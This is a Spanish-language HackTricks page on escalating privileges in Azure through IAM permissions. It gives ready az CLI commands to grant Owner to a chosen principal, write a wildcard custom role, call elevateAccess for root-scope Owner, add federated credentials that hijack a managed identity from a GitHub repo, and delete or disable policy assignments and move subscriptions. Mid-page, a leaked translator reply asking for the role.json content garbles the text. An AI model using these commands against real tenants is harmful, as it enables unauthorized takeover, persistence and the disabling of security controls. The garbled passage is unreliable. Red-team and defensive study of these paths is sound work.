Az - Azure IAM Privesc (Authorization)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Azure IAM

Para más información, revisa:

Az - Entra ID (AzureAD) & Azure IAM

Los permisos que permiten a un principal cambiar la propia autorización suelen ser privesc primitives. Esto es especialmente peligroso cuando se conceden en ámbitos de management group o subscription, porque los permisos se heredan a los recursos hijos.

Microsoft.Authorization/roleAssignments/write

Este permiso permite crear role assignments sobre un ámbito específico, lo que permite a un atacante escalar privilegios asignándose a sí mismo u otro principal controlado un rol con más privilegios.

Flujo típico:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

Si el principal comprometido tiene esta acción sobre un scope, puede conceder directamente un rol privilegiado como Owner, Contributor, Key Vault Secrets Officer o cualquier otro rol built-in/custom disponible en ese scope:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Conocer el principal object ID del usuario/service principal/managed identity objetivo es suficiente para otorgar el nuevo rol. Esto puede abusarse para self-privesc, lateral movement o persistence asignando el rol a otro principal controlado.

Microsoft.Authorization/roleDefinitions/write

Este permiso permite crear o modificar custom role definitions. En la práctica, esto es peligroso porque un atacante puede:

  • Modificar un custom role que ya está asignado al principal comprometido, haciendo que los nuevos permisos sean efectivos de inmediato.
  • Crear un nuevo custom role con privilegios excesivos y luego asignarlo, normalmente encadenándolo con Microsoft.Authorization/roleAssignments/write.

Flujo típico:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"

No se proporcionó el contenido para role.json. Envíame el contenido exacto y lo traduciré/formataré según tus reglas.

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

Luego actualiza los permisos del rol con la definición anterior llamando:

az role definition update --role-definition role.json

Si el role modificado ya está asignado al atacante, este puede ser un camino más rápido que crear una nueva role assignment porque la permission inflation se aplica a la asignación existente.
Si el atacante solo tiene roleDefinitions/write, aún puede weaponize it modificando roles ya asignados a principals comprometidos.

Microsoft.Authorization/elevateAccess/action

Este permissions permite elevar privilegios y poder asignar permissions a cualquier principal sobre Azure resources. Está pensado para ser concedido a Entra ID Global Administrators para que también puedan gestionar permissions sobre Azure resources.

Tip

Creo que el usuario necesita ser Global Administrator en Entrad ID para que la elevate call funcione.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Este permiso permite crear/actualizar Federated Identity Credentials (FICs) en user-assigned managed identities. En la práctica, esto permite a un atacante añadir una nueva relación de confianza con un proveedor de identidad externo y luego obtener tokens como esa managed identity.

Este es un persistence / identity hijacking primitive: si la managed identity ya tiene acceso a recursos de Azure, el atacante solo necesita crear una workload externa coincidente (por ejemplo, un workflow de GitHub Actions) e intercambiar el token externo por tokens de Azure.

Puntos útiles para verificar antes de abusarlo:

  • Qué managed identity se puede modificar
  • Qué scope/roles ya están asignados a esa managed identity
  • Qué issuer, subject y audience serán aceptados durante el intercambio de tokens

Puedes crear el FIC con el comando dedicado de CLI:

az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"

O con raw REST.

Ejemplo de comando para dar acceso a un GitHub repo a una managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Una vez creado el FIC, el atacante puede autenticarse desde la external workload y usar los permisos de managed identity ya concedidos en Azure. Para más información sobre el abuso de GitHub OIDC / workload identity, consulta:

Az Federation Abuse

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Un atacante con el permiso Microsoft.Authorization/policyAssignments/write o Microsoft.Authorization/policyAssignments/delete sobre un management group, subscription o resource group puede modificar o eliminar Azure policy assignments, potencialmente deshabilitando restricciones de seguridad que bloquean operaciones específicas.

Esto permite acceder a recursos o funcionalidades que antes estaban protegidos por la policy.

Eliminar un policy assignment:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Deshabilitar una asignación de policy:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Verificar los cambios:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Un atacante con el permiso Microsoft.Authorization/policyDefinitions/write puede modificar Azure policy definitions, cambiando las reglas que controlan las restricciones de seguridad en todo el entorno.

Por ejemplo, una policy que limita las regiones permitidas para crear recursos puede modificarse para permitir cualquier región, o el efecto de la policy puede cambiarse para volverla ineficaz.

Modificar una policy definition:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Verifica los cambios:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Un atacante con el permiso Microsoft.Management/managementGroups/write puede modificar la estructura jerárquica de los management groups o crear nuevos management groups, pudiendo eludir políticas restrictivas aplicadas en niveles superiores.

Por ejemplo, un atacante puede crear un nuevo management group sin políticas restrictivas y luego mover suscripciones a él.

Crear un nuevo management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modificar una jerarquía de management group:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verificar los cambios:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Un atacante con el permiso Microsoft.Management/managementGroups/subscriptions/write puede mover subscriptions entre management groups, potencialmente evadiendo restrictive policies al mover una subscription a un group con policies menos restrictive o sin policies.

Move a subscription to a different management group:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Verificar los cambios:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks